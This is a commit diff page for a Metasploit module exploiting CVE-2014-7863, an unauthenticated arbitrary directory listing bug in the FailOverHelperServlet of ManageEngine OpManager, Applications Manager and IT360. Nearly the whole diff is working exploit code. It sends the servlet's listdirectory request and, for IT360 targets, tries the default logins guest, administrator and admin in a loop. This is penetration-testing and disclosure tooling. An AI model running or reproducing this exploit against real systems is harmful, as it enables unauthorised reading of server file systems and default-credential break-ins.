Merge pull request #14 from jvazquez-r7/review_4659
Clean OpManager directory content disclosure modulebug/bundler_fix
commit
50c518d763
|
@ -12,84 +12,83 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => "ManageEngine OpManager / Applications Manager / IT360 Arbitrary Directory Listing",
|
'Name' => "ManageEngine Multiple Products Arbitrary Directory Listing",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a directory listing information disclosure vulnerability in
|
This module exploits a directory listing information disclosure vulnerability in the
|
||||||
FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360.
|
FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It
|
||||||
It recurses through diretories, so it will list the whole drive if you ask it to list
|
makes a recursive listing, so it will list the whole drive if you ask it to list / in
|
||||||
/ in Linux or C:\ in Windows.
|
Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and
|
||||||
This vulnerability is unauthenticated on OpManager and Applications Manager, but
|
Applications Manager, but authenticated in IT360. This module will attempt to login
|
||||||
authenticated in IT360. This module will attempt to login using the default
|
using the default credentials for the administrator and guest accounts; alternatively
|
||||||
credentials for the administrator and guest accounts; alternatively you can provide a
|
you can provide a pre-authenticated cookie or a username / password combo. For IT360
|
||||||
pre-authenticated cookie or a username / password combo.
|
targets enter the RPORT of the OpManager instance (usually 8300). This module has been
|
||||||
For IT360 targets enter the RPORT of the OpManager instance (usually 8300).
|
tested on both Windows and Linux with several different versions Windows paths have to
|
||||||
This module has been tested on both Windows and Linux with several different versions
|
be escaped with 4 backslashes on the command line. There is a companion module that
|
||||||
Windows paths have to be escaped with 4 backslashes on the command line.
|
allows you to download an arbitrary file. This vulnerability has been fixed in Applications
|
||||||
There is a companion module that allows you to download an arbitrary file.
|
Manager v11.9 b11912 and OpManager 11.6.
|
||||||
This vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
|
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
|
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'CVE', '2014-7863' ],
|
['CVE', '2014-7863'],
|
||||||
[ 'OSVDB', 'TODO' ],
|
['OSVDB', 'TODO'],
|
||||||
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt' ],
|
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt'],
|
||||||
[ 'URL', 'FULLDISC_URL' ]
|
['URL', 'FULLDISC_URL']
|
||||||
],
|
],
|
||||||
'DefaultOptions' => { 'WfsDelay' => 30 },
|
|
||||||
'DisclosureDate' => 'Jan 28 2015'))
|
'DisclosureDate' => 'Jan 28 2015'))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(80),
|
Opt::RPORT(80),
|
||||||
OptString.new('TARGETURI',
|
OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']),
|
||||||
[ true, "The base path to OpManager, AppManager or IT360", '/' ]),
|
OptString.new('DIRECTORY', [true, 'Path of the directory to list', '/etc/']),
|
||||||
OptString.new('DIRECTORY', [false, 'Path of the directory to list', '/etc/']),
|
OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
|
||||||
OptString.new('IAMAGENTTICKET',
|
OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
|
||||||
[false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
|
OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
|
||||||
OptString.new('USERNAME',
|
OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
|
||||||
[true, 'The username to login as (IT360 target only)', 'guest']),
|
|
||||||
OptString.new('PASSWORD',
|
|
||||||
[true, 'Password for the specified username (IT360 target only)', 'guest']),
|
|
||||||
OptString.new('DOMAIN_NAME',
|
|
||||||
[false, 'Name of the domain to logon to (IT360 target only)'])
|
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def get_cookie
|
def get_cookie
|
||||||
|
cookie = nil
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri(datastore['TARGETURI'])
|
'uri' => normalize_uri(datastore['TARGETURI'])
|
||||||
})
|
})
|
||||||
if res
|
|
||||||
return res.get_cookies
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
if res
|
||||||
|
cookie = res.get_cookies
|
||||||
|
end
|
||||||
|
|
||||||
|
cookie
|
||||||
|
end
|
||||||
|
|
||||||
def detect_it360
|
def detect_it360
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => "/",
|
'uri' => '/',
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
})
|
})
|
||||||
|
|
||||||
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
|
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def get_it360_cookie_name
|
def get_it360_cookie_name
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri("/"),
|
'uri' => normalize_uri('/')
|
||||||
})
|
})
|
||||||
|
|
||||||
cookie = res.get_cookies
|
cookie = res.get_cookies
|
||||||
|
|
||||||
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
|
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
|
||||||
return $1
|
return $1
|
||||||
else
|
else
|
||||||
|
@ -97,28 +96,24 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def authenticate_it360(port, path, username, password)
|
def authenticate_it360(port, path, username, password)
|
||||||
if datastore['DOMAIN_NAME'] == nil
|
if datastore['DOMAIN_NAME'].nil?
|
||||||
vars_post = {
|
vars_post = {
|
||||||
'LOGIN_ID' => username,
|
'LOGIN_ID' => username,
|
||||||
'PASSWORD' => password,
|
'PASSWORD' => password,
|
||||||
'isADEnabled' => "false"
|
'isADEnabled' => 'false'
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
vars_post = {
|
vars_post = {
|
||||||
'LOGIN_ID' => username,
|
'LOGIN_ID' => username,
|
||||||
'PASSWORD' => password,
|
'PASSWORD' => password,
|
||||||
'isADEnabled' => "true",
|
'isADEnabled' => 'true',
|
||||||
'domainName' => datastore['DOMAIN_NAME']
|
'domainName' => datastore['DOMAIN_NAME']
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
op_port = datastore['RPORT']
|
|
||||||
datastore['RPORT'] = port
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
|
'rport' => port,
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(path),
|
'uri' => normalize_uri(path),
|
||||||
'vars_get' => {
|
'vars_get' => {
|
||||||
|
@ -129,29 +124,27 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'vars_post' => vars_post
|
'vars_post' => vars_post
|
||||||
})
|
})
|
||||||
|
|
||||||
datastore['RPORT'] = op_port
|
|
||||||
|
|
||||||
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
|
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
|
||||||
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
|
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
|
||||||
return res.get_cookies
|
return res.get_cookies
|
||||||
else
|
|
||||||
return nil
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def login_it360
|
def login_it360
|
||||||
# Do we already have a valid cookie? If yes, just return that.
|
# Do we already have a valid cookie? If yes, just return that.
|
||||||
if datastore['IAMAGENTTICKET'] != nil
|
unless datastore['IAMAGENTTICKET'].nil?
|
||||||
cookie_name = get_it360_cookie_name
|
cookie_name = get_it360_cookie_name
|
||||||
cookie = "IAMAGENTTICKET" + cookie_name + "=" + datastore['IAMAGENTTICKET'] + ";"
|
cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
|
||||||
return cookie
|
return cookie
|
||||||
end
|
end
|
||||||
|
|
||||||
# get the correct path, host and port
|
# get the correct path, host and port
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri("/"),
|
'uri' => normalize_uri('/')
|
||||||
})
|
})
|
||||||
|
|
||||||
if res && res.redirect?
|
if res && res.redirect?
|
||||||
|
@ -160,44 +153,46 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
|
if datastore['USERNAME'] && datastore['PASSWORD']
|
||||||
if cookie != nil
|
print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
|
||||||
return cookie
|
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil
|
unless cookie.nil?
|
||||||
# we've tried with the default guest password, now let's try with the default admin password
|
|
||||||
cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator')
|
|
||||||
if cookie != nil
|
|
||||||
return cookie
|
return cookie
|
||||||
else
|
|
||||||
# Try one more time with the default admin login for some versions
|
|
||||||
cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin')
|
|
||||||
if cookie != nil
|
|
||||||
return cookie
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
|
default_users = ['guest', 'administrator', 'admin']
|
||||||
|
|
||||||
|
default_users.each do |user|
|
||||||
|
print_status("#{peer} - Trying to authenticate as #{user}...")
|
||||||
|
cookie = authenticate_it360(uri[0], uri[1], user, user)
|
||||||
|
unless cookie.nil?
|
||||||
|
return cookie
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
# No point to continue if directory is not specified
|
# No point to continue if directory is not specified
|
||||||
if datastore['DIRECTORY'].nil? || datastore['DIRECTORY'].empty?
|
if datastore['DIRECTORY'].empty?
|
||||||
print_error("Please supply the path of the directory you want to list.")
|
print_error('Please supply the path of the directory you want to list.')
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if detect_it360
|
if detect_it360
|
||||||
print_status("#{peer} - Detected IT360, attempting to login...")
|
print_status("#{peer} - Detected IT360, attempting to login...")
|
||||||
cookie = login_it360
|
cookie = login_it360
|
||||||
if cookie == nil
|
|
||||||
print_error("#{peer} - Failed to login to IT360!")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
else
|
else
|
||||||
cookie = get_cookie
|
cookie = get_cookie
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if cookie.nil?
|
||||||
|
print_error("#{peer} - Failed to get application cookies!")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
|
servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
|
@ -218,7 +213,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'vars_get' => {
|
'vars_get' => {
|
||||||
'operation' => 'listdirectory',
|
'operation' => 'listdirectory',
|
||||||
'rootDirectory' => datastore['DIRECTORY']
|
'rootDirectory' => datastore['DIRECTORY']
|
||||||
},
|
}
|
||||||
})
|
})
|
||||||
rescue Rex::ConnectionRefused
|
rescue Rex::ConnectionRefused
|
||||||
print_error("#{peer} - Could not connect.")
|
print_error("#{peer} - Could not connect.")
|
||||||
|
@ -226,7 +221,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
# Show data if needed
|
# Show data if needed
|
||||||
if res && res.code == 200
|
if res && res.code == 200 && res.body
|
||||||
vprint_line(res.body.to_s)
|
vprint_line(res.body.to_s)
|
||||||
fname = File.basename(datastore['DIRECTORY'])
|
fname = File.basename(datastore['DIRECTORY'])
|
||||||
|
|
||||||
|
@ -234,7 +229,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'manageengine.http',
|
'manageengine.http',
|
||||||
'text/plain',
|
'text/plain',
|
||||||
datastore['RHOST'],
|
datastore['RHOST'],
|
||||||
res.body,
|
res.body.to_s,
|
||||||
fname
|
fname
|
||||||
)
|
)
|
||||||
print_good("File with directory listing saved in: #{path}")
|
print_good("File with directory listing saved in: #{path}")
|
||||||
|
|
Loading…
Reference in New Issue